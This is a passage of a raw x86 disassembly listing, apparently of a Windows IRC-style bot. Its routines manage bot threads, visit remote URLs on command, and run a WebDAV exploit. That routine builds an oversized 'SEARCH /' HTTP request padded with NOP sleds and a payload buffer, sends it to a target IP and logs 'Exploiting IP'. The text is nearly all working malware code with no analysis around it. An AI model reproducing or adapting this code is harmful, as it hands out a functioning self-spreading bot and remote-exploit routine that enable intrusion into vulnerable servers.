loc_4136A7:				; CODE XREF: sub_4131EE+116j
		call	sub_4131EE
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
sub_4131EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4136B6	proc near		; CODE XREF: sub_401141+EDp
					; sub_401141+229p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43B040


loc_4136BE:				; CODE XREF: sub_4136B6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_4136D2
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_47FDD0
		jl	short loc_4136BE
		jmp	short loc_41371D
; ---------------------------------------------------------------------------


loc_4136D2:				; CODE XREF: sub_4136B6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43B040[esi]
		push	eax
		call	sub_4169C0
		mov	eax, [esp+14h+arg_4]
		and	dword_43B244[esi], 0
		and	dword_43B248[esi], 0
		mov	dword_43B240[esi], eax
		mov	eax, [esp+14h+arg_8]
		add	esp, 0Ch
		and	byte_43B258[esi], 0
		mov	dword_43B24C[esi], eax
		pop	esi


loc_41371D:				; CODE XREF: sub_4136B6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_4136B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413721	proc near		; CODE XREF: sub_4139B7+31p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aThreadList ; "-[Thread List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43B040


loc_41374B:				; CODE XREF: sub_413721+78j
		cmp	byte ptr [esi],	0
		jz	short loc_41378C
		cmp	[ebp+arg_C], 0
		jnz	short loc_41375F
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_41378C


loc_41375F:				; CODE XREF: sub_413721+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_416905
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 24h


loc_41378C:				; CODE XREF: sub_413721+2Dj
					; sub_413721+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_47FDD0
		jl	short loc_41374B
		pop	edi
		pop	esi
		leave
		retn
sub_413721	endp


; =============== S U B	R O U T	I N E =======================================



sub_41379F	proc near		; CODE XREF: sub_409806+42A1p
					; sub_413827+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_413821
		cmp	esi, 1F4h
		jge	short loc_413821
		imul	esi, 234h
		push	edi
		push	ebx
		lea	edi, dword_43B254[esi]
		push	dword ptr [edi]
		call	dword_4220F0	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_4137D1
		inc	ebp


loc_4137D1:				; CODE XREF: sub_41379F+2Fj
		mov	[edi], ebx
		lea	edi, dword_43B248[esi]
		mov	eax, [edi]
		cmp	eax, ebx
		mov	dword_43B240[esi], ebx
		mov	dword_43B244[esi], ebx
		jbe	short loc_4137F2
		push	eax
		call	sub_4090E5
		pop	ecx


loc_4137F2:				; CODE XREF: sub_41379F+4Aj
		mov	[edi], ebx
		lea	edi, dword_43B24C[esi]
		push	dword ptr [edi]
		mov	byte ptr dword_43B040[esi], bl
		mov	byte_43B258[esi], bl
		call	dword_43A4B0	; closesocket
		lea	esi, dword_43B250[esi]
		push	dword ptr [esi]
		mov	[edi], ebx
		call	dword_43A4B0	; closesocket
		mov	[esi], ebx
		pop	edi


loc_413821:				; CODE XREF: sub_41379F+Dj
					; sub_41379F+15j
		pop	esi
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_41379F	endp


; =============== S U B	R O U T	I N E =======================================



sub_413827	proc near		; CODE XREF: sub_4034BE+18p
					; sub_409806+425Ap ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43B040


loc_413833:				; CODE XREF: sub_413827+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_413844
		push	edi
		call	sub_41379F
		test	eax, eax
		pop	ecx
		jz	short loc_413844
		inc	ebx


loc_413844:				; CODE XREF: sub_413827+Fj
					; sub_413827+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_47FDD0
		jl	short loc_413833
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_413827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413859	proc near		; CODE XREF: sub_409806+1CD8p
					; sub_409806+1D43p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43B244


loc_41386D:				; CODE XREF: sub_413859+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_41388F
		test	edi, edi
		jle	short loc_413881
		cmp	[esi], edi
		jz	short loc_413881
		cmp	ebx, edi
		jnz	short loc_41388F


loc_413881:				; CODE XREF: sub_413859+1Ej
					; sub_413859+22j
		push	ebx
		call	sub_41379F
		test	eax, eax
		pop	ecx
		jz	short loc_41388F
		inc	[ebp+var_4]


loc_41388F:				; CODE XREF: sub_413859+1Aj
					; sub_413859+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_47FFD4
		jl	short loc_41386D
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413859	endp


; =============== S U B	R O U T	I N E =======================================



sub_4138A6	proc near		; CODE XREF: sub_4010CA+Bp
					; sub_401141+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43B240


loc_4138AD:				; CODE XREF: sub_4138A6+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4138B6
		inc	eax


loc_4138B6:				; CODE XREF: sub_4138A6+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_47FFD0
		jl	short loc_4138AD
		retn
sub_4138A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4138C5	proc near		; CODE XREF: sub_409806+4BA6p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_43B240
		push	esi


loc_4138CF:				; CODE XREF: sub_4138C5+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_4138E8
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_47FFD0
		jl	short loc_4138CF
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4138E8:				; CODE XREF: sub_4138C5+10j
		mov	eax, edx
		pop	esi
		retn
sub_4138C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4138EC	proc near		; CODE XREF: sub_409806+21D7p
					; sub_409806+52D6p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_413905
		push	[ebp+arg_1C]
		call	sub_416C92
		pop	ecx


loc_413905:				; CODE XREF: sub_4138EC+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_413859
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_413931
		push	eax
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_416905
		add	esp, 14h
		jmp	short loc_41394B
; ---------------------------------------------------------------------------


loc_413931:				; CODE XREF: sub_4138EC+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_416905
		add	esp, 10h


loc_41394B:				; CODE XREF: sub_4138EC+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_41396B
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_41396B:				; CODE XREF: sub_4138EC+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401ECD
		pop	ecx
		leave
		retn
sub_4138EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41397A	proc near		; CODE XREF: sub_401950+206p
					; sub_401B65+24Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		imul	eax, 234h
		xor	ecx, ecx
		mov	dword_43B254[eax], ecx
		mov	dword_43B240[eax], ecx
		mov	dword_43B244[eax], ecx
		mov	dword_43B248[eax], ecx
		mov	dword_43B24C[eax], ecx
		mov	dword_43B250[eax], ecx
		mov	byte ptr dword_43B040[eax], cl
		mov	byte_43B258[eax], cl
		retn
sub_41397A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4139B7	proc near		; DATA XREF: sub_409806+5139o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 98h
		mov	eax, [ebp+74h+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_98]
		rep movsd
		push	[ebp+74h+var_10]
		mov	dword ptr [eax+94h], 1
		push	[ebp+74h+var_C]
		lea	eax, [ebp+74h+var_94]
		push	eax
		push	[ebp+74h+var_98]
		call	sub_413721
		push	[ebp+74h+var_14]
		call	sub_41397A
		add	esp, 14h
		push	0
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_4139B7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_413A01	proc near		; DATA XREF: sub_409806+3ED6o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 65Ch
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		pop	ecx
		push	20h
		mov	esi, eax
		xor	edx, edx
		inc	edx
		lea	edi, [ebp+74h+var_35C]
		rep movsd
		pop	ecx
		push	20h
		xor	ebx, ebx
		mov	[eax+190h], edx
		xor	eax, eax
		lea	edi, [ebp+74h+var_148]
		rep stosd
		pop	ecx
		push	20h
		lea	edi, [ebp+74h+var_1C8]
		rep stosd
		pop	ecx
		push	40h
		lea	edi, [ebp+74h+var_C8]
		rep stosd
		pop	ecx
		lea	edi, [ebp+74h+var_65C]
		rep stosd
		push	0Fh
		pop	ecx
		lea	edi, [ebp+74h+var_48]
		rep stosd
		lea	eax, [ebp+74h+var_358]
		mov	[ebp+74h+var_8], ebx
		mov	[ebp+74h+var_4], ebx
		mov	[ebp+74h+var_C], offset	asc_42BA30 ; "*/*"
		mov	[ebp+74h+var_48], 3Ch
		mov	[ebp+74h+var_34], edx
		mov	[ebp+74h+var_28], edx
		mov	[ebp+74h+var_20], edx
		mov	[ebp+74h+var_18], edx
		lea	esi, [eax+1]


loc_413A86:				; CODE XREF: sub_413A01+8Aj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_413A86
		lea	ecx, [ebp+74h+var_48]
		push	ecx
		sub	eax, esi
		push	ebx
		push	eax
		lea	eax, [ebp+74h+var_358]
		push	eax
		call	dword_43A310	; InternetCrackUrlA
		test	eax, eax
		jnz	short loc_413ABF
		lea	eax, [ebp+74h+var_55C]
		push	offset aVisitInvalidUr ; "[VISIT]: Invalid URL."
		push	eax
		call	sub_416905
		mov	esi, [ebp+74h+var_8]
		jmp	loc_413BAE
; ---------------------------------------------------------------------------


loc_413ABF:				; CODE XREF: sub_413A01+A3j
		cmp	[ebp+74h+var_34], ebx
		jbe	short loc_413AD9
		push	[ebp+74h+var_34]
		lea	eax, [ebp+74h+var_148]
		push	[ebp+74h+var_38]
		push	eax
		call	sub_4169C0
		add	esp, 0Ch


loc_413AD9:				; CODE XREF: sub_413A01+C1j
		cmp	[ebp+74h+var_28], ebx
		movzx	esi, [ebp+74h+var_30]
		jbe	short loc_413AF7
		push	[ebp+74h+var_28]
		lea	eax, [ebp+74h+var_1C8]
		push	[ebp+74h+var_2C]
		push	eax
		call	sub_4169C0
		add	esp, 0Ch


loc_413AF7:				; CODE XREF: sub_413A01+DFj
		cmp	[ebp+74h+var_20], ebx
		jbe	short loc_413B0E
		push	[ebp+74h+var_20]
		lea	eax, [ebp+74h+var_C8]
		push	[ebp+74h+var_24]
		push	eax
		call	sub_4169C0
		add	esp, 0Ch


loc_413B0E:				; CODE XREF: sub_413A01+F9j
		cmp	[ebp+74h+var_18], ebx
		jbe	short loc_413B28
		push	[ebp+74h+var_18]
		lea	eax, [ebp+74h+var_65C]
		push	[ebp+74h+var_1C]
		push	eax
		call	sub_4169C0
		add	esp, 0Ch


loc_413B28:				; CODE XREF: sub_413A01+110j
		push	ebx
		push	ebx
		push	3
		lea	eax, [ebp+74h+var_C8]
		push	eax
		lea	eax, [ebp+74h+var_1C8]
		push	eax
		push	esi
		lea	eax, [ebp+74h+var_148]
		push	eax
		push	dword_43A4E8
		call	dword_43A3D4	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_413B58
		push	offset aVisitCouldNotO ; "[VISIT]: Could not open a connection."
		jmp	short loc_413BA2
; ---------------------------------------------------------------------------


loc_413B58:				; CODE XREF: sub_413A01+14Ej
		push	ebx
		push	200h
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_2D8]
		push	eax
		push	ebx
		lea	eax, [ebp+74h+var_65C]
		push	eax
		push	ebx
		push	esi
		call	dword_43A3C4	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+74h+var_4], eax
		jnz	short loc_413B87
		push	offset aVisitFailedToC ; "[VISIT]: Failed to connect to	HTTP serv"...
		jmp	short loc_413BA2
; ---------------------------------------------------------------------------


loc_413B87:				; CODE XREF: sub_413A01+17Dj
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43A4EC	; HttpSendRequestA
		test	eax, eax
		jz	short loc_413B9D
		push	offset aVisitUrlVisite ; "[VISIT]: URL visited."
		jmp	short loc_413BA2
; ---------------------------------------------------------------------------


loc_413B9D:				; CODE XREF: sub_413A01+193j
		push	offset aVisitFailedToG ; "[VISIT]: Failed to get requested URL fr"...


loc_413BA2:				; CODE XREF: sub_413A01+155j
					; sub_413A01+184j ...
		lea	eax, [ebp+74h+var_55C]
		push	eax
		call	sub_416905


loc_413BAE:				; CODE XREF: sub_413A01+B9j
		cmp	[ebp+74h+var_1D4], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_413BDB
		push	ebx
		push	[ebp+74h+var_1D0]
		lea	eax, [ebp+74h+var_55C]
		push	eax
		lea	eax, [ebp+74h+var_258]
		push	eax
		push	[ebp+74h+var_35C]
		call	sub_405D20
		add	esp, 14h


loc_413BDB:				; CODE XREF: sub_413A01+1B5j
		lea	eax, [ebp+74h+var_55C]
		push	eax
		call	sub_401ECD
		pop	ecx
		push	esi
		call	dword_43A3FC	; InternetCloseHandle
		push	[ebp+74h+var_4]
		call	dword_43A3FC	; InternetCloseHandle
		push	[ebp+74h+var_1D8]
		call	sub_41397A
		pop	ecx
		push	ebx
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_413A01	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C0C	proc near		; CODE XREF: sub_401950+1D7p
					; DATA XREF: .text:off_42E06Co

var_1210	= byte ptr -1210h
var_11AC	= byte ptr -11ACh
var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 1210h
		call	sub_416B20
		push	6
		push	1
		push	2
		call	dword_43A39C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_413C31
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_413C31:				; CODE XREF: sub_413C0C+1Fj
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_A0]
		call	dword_43A4F4	; ntohs
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43A414	; inet_addr
		push	186A0h
		call	sub_416DAF
		mov	edi, 1000h
		push	edi
		mov	ebx, eax
		call	sub_416DAF
		pop	ecx
		pop	ecx
		push	offset byte_42FD48
		push	[ebp+arg_0]
		mov	esi, eax
		mov	[ebp+var_C], esi
		call	sub_408852
		pop	ecx
		push	eax
		push	edi
		push	esi
		call	sub_412078
		add	esp, 10h
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	short loc_413CA6
		push	ebx
		call	sub_416C97
		push	esi
		call	sub_416C97
		pop	ecx
		pop	ecx
		push	[ebp+var_10]


loc_413C99:				; CODE XREF: sub_413C0C+27Bj
		call	dword_43A4B0	; closesocket
		xor	eax, eax
		jmp	loc_413F23
; ---------------------------------------------------------------------------


loc_413CA6:				; CODE XREF: sub_413C0C+7Aj
		push	19h
		mov	eax, 90909090h
		pop	ecx
		lea	edi, [ebp+var_1210]
		rep stosd
		mov	ecx, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_11AC]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax
		mov	ecx, 61A8h
		mov	edi, ebx
		rep stosd
		mov	esi, offset aSearch ; "SEARCH /"
		mov	edi, ebx
		movsd
		movsd
		mov	eax, ebx
		movsb
		lea	esi, [eax+1]


loc_413CE7:				; CODE XREF: sub_413C0C+E0j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_413CE7
		sub	eax, esi
		mov	esi, eax
		lea	edx, [esi+1]
		lea	eax, [esi+866h]
		cmp	edx, eax
		mov	byte ptr [esi+ebx], 90h
		jnb	short loc_413D25
		sub	eax, edx
		dec	eax
		shr	eax, 1
		inc	eax
		mov	ecx, eax
		mov	[ebp+var_4], ecx
		shr	ecx, 1
		lea	edi, [edx+ebx]
		mov	eax, 0B102B102h
		rep stosd
		adc	ecx, ecx
		rep stosw
		mov	eax, [ebp+var_4]
		lea	edx, [edx+eax*2]


loc_413D25:				; CODE XREF: sub_413C0C+F5j
		mov	eax, offset loc_430328
		mov	edi, eax
		lea	ecx, [edi+1]
		mov	[ebp+var_4], ecx


loc_413D32:				; CODE XREF: sub_413C0C+12Bj
		mov	cl, [edi]
		inc	edi
		test	cl, cl
		jnz	short loc_413D32
		sub	edi, [ebp+var_4]
		jmp	short loc_413D53
; ---------------------------------------------------------------------------


loc_413D3E:				; CODE XREF: sub_413C0C+155j
		lea	ecx, [edi+1]
		mov	byte ptr [edx+ebx], 90h
		inc	edx
		mov	[ebp+var_4], ecx


loc_413D49:				; CODE XREF: sub_413C0C+142j
		mov	cl, [edi]
		inc	edi
		test	cl, cl
		jnz	short loc_413D49
		sub	edi, [ebp+var_4]


loc_413D53:				; CODE XREF: sub_413C0C+130j
		mov	ecx, esi
		sub	ecx, edi
		add	ecx, 0FFFFh
		cmp	edx, ecx
		mov	edi, eax
		jb	short loc_413D3E
		lea	esi, [edi+1]


loc_413D66:				; CODE XREF: sub_413C0C+15Fj
		mov	cl, [edi]
		inc	edi
		test	cl, cl
		jnz	short loc_413D66
		sub	edi, esi
		mov	ecx, edi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [edx+ebx]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebx
		dec	edi


loc_413D87:				; CODE XREF: sub_413C0C+181j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_413D87
		mov	esi, offset aHttp1_1 ; " HTTP/1.1\r\n"
		movsd
		movsd
		movsd
		mov	esi, offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<g:searchrequest"...
		mov	eax, esi
		lea	edi, [eax+1]


loc_413DA1:				; CODE XREF: sub_413C0C+19Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_413DA1
		sub	eax, edi
		mov	edi, eax
		mov	eax, ebx
		lea	ecx, [eax+1]


loc_413DB1:				; CODE XREF: sub_413C0C+1AAj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_413DB1
		sub	eax, ecx
		mov	ecx, [ebp+var_8]
		add	edi, ecx
		push	edi
		lea	ecx, [ebp+arg_4]
		push	ecx
		add	eax, ebx
		push	offset aHostSContentTy ; "Host:	%s\r\nContent-Type: text/xml\r\nConte"...
		push	eax
		call	sub_416905
		add	esp, 10h
		mov	eax, esi


loc_413DD6:				; CODE XREF: sub_413C0C+1CFj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_413DD6
		mov	edi, ebx
		sub	eax, esi
		dec	edi


loc_413DE2:				; CODE XREF: sub_413C0C+1DCj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_413DE2
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		mov	eax, ebx
		rep movsb
		lea	esi, [eax+1]


loc_413DFD:				; CODE XREF: sub_413C0C+1F6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_413DFD
		sub	eax, esi
		mov	ecx, eax
		mov	eax, 1010101h
		lea	edi, [ecx+ebx]
		stosb
		mov	eax, ebx
		lea	esi, [eax+1]


loc_413E16:				; CODE XREF: sub_413C0C+20Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_413E16
		sub	eax, esi
		mov	ecx, eax
		mov	eax, 90909090h
		lea	edi, [ecx+ebx]
		stosw
		stosb
		mov	eax, ebx
		lea	esi, [eax+1]


loc_413E31:				; CODE XREF: sub_413C0C+22Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_413E31
		mov	ecx, [ebp+var_8]
		sub	eax, esi
		lea	edi, [eax+ebx]
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_1210]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		mov	eax, ebx
		rep movsb
		lea	esi, [eax+1]


loc_413E59:				; CODE XREF: sub_413C0C+252j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_413E59
		sub	eax, esi
		mov	esi, [ebp+var_10]
		xor	edi, edi
		push	edi
		push	eax
		push	ebx
		push	esi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413E8C
		push	ebx
		call	sub_416C97
		push	[ebp+var_C]
		call	sub_416C97
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_413C99
; ---------------------------------------------------------------------------


loc_413E8C:				; CODE XREF: sub_413C0C+268j
		push	edi
		push	1388h
		push	ebx
		push	esi
		call	dword_43A304	; recv
		push	ebx
		call	sub_416C97
		push	[ebp+var_C]
		call	sub_416C97
		pop	ecx
		pop	ecx
		push	esi
		call	dword_43A4B0	; closesocket
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp+var_210]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 14h
		cmp	[ebp+arg_B4], edi
		jnz	short loc_413F02
		push	edi
		push	[ebp+arg_B0]
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 14h


loc_413F02:				; CODE XREF: sub_413C0C+2D7j
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401ECD
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		lea	eax, dword_42E070[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		pop	ecx
		inc	eax


loc_413F23:				; CODE XREF: sub_413C0C+95j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413C0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F28	proc near		; CODE XREF: sub_413FBC+41p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	ecx, [edx]
		push	edi
		xor	edi, edi
		and	[ebp+var_8], edi
		xor	eax, eax
		inc	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_413F49
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_413F49:				; CODE XREF: sub_413F28+19j
		push	ebx
		push	esi


loc_413F4B:				; CODE XREF: sub_413F28+77j
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_413F59
		cmp	[ebp+var_4], eax
		jnz	short loc_413FA1


loc_413F59:				; CODE XREF: sub_413F28+2Aj
		test	edi, edi
		jnz	short loc_413F96
		cmp	bl, 2Dh
		jnz	short loc_413F8A
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		mov	al, [esi]
		cmp	cl, al
		jge	short loc_413F8A
		cmp	al, 5Dh
		jz	short loc_413F8A
		cmp	[ebp+var_4], edi
		jnz	short loc_413F8A
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_413F96
		cmp	bl, al
		jg	short loc_413F96
		mov	[edx], esi
		jmp	short loc_413F93
; ---------------------------------------------------------------------------


loc_413F8A:				; CODE XREF: sub_413F28+38j
					; sub_413F28+44j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_413F96


loc_413F93:				; CODE XREF: sub_413F28+60j
		xor	edi, edi
		inc	edi


loc_413F96:				; CODE XREF: sub_413F28+33j
					; sub_413F28+58j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_413F4B
; ---------------------------------------------------------------------------


loc_413FA1:				; CODE XREF: sub_413F28+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_413FAE
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_413FAE:				; CODE XREF: sub_413F28+7Ej
		cmp	edi, eax
		jnz	short loc_413FB7
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_413FB7:				; CODE XREF: sub_413F28+88j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_413F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FBC	proc near		; CODE XREF: sub_409806+6197p
					; sub_414050+65p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_41401E
; ---------------------------------------------------------------------------


loc_413FC8:				; CODE XREF: sub_413FBC+66j
		cmp	eax, 1
		jnz	short loc_41402F
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41402F
		cmp	cl, 2Ah
		jz	short loc_414007
		cmp	cl, 3Fh
		jz	short loc_413FEC
		cmp	cl, 5Bh
		jz	short loc_413FF1
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_413FEC:				; CODE XREF: sub_413FBC+22j
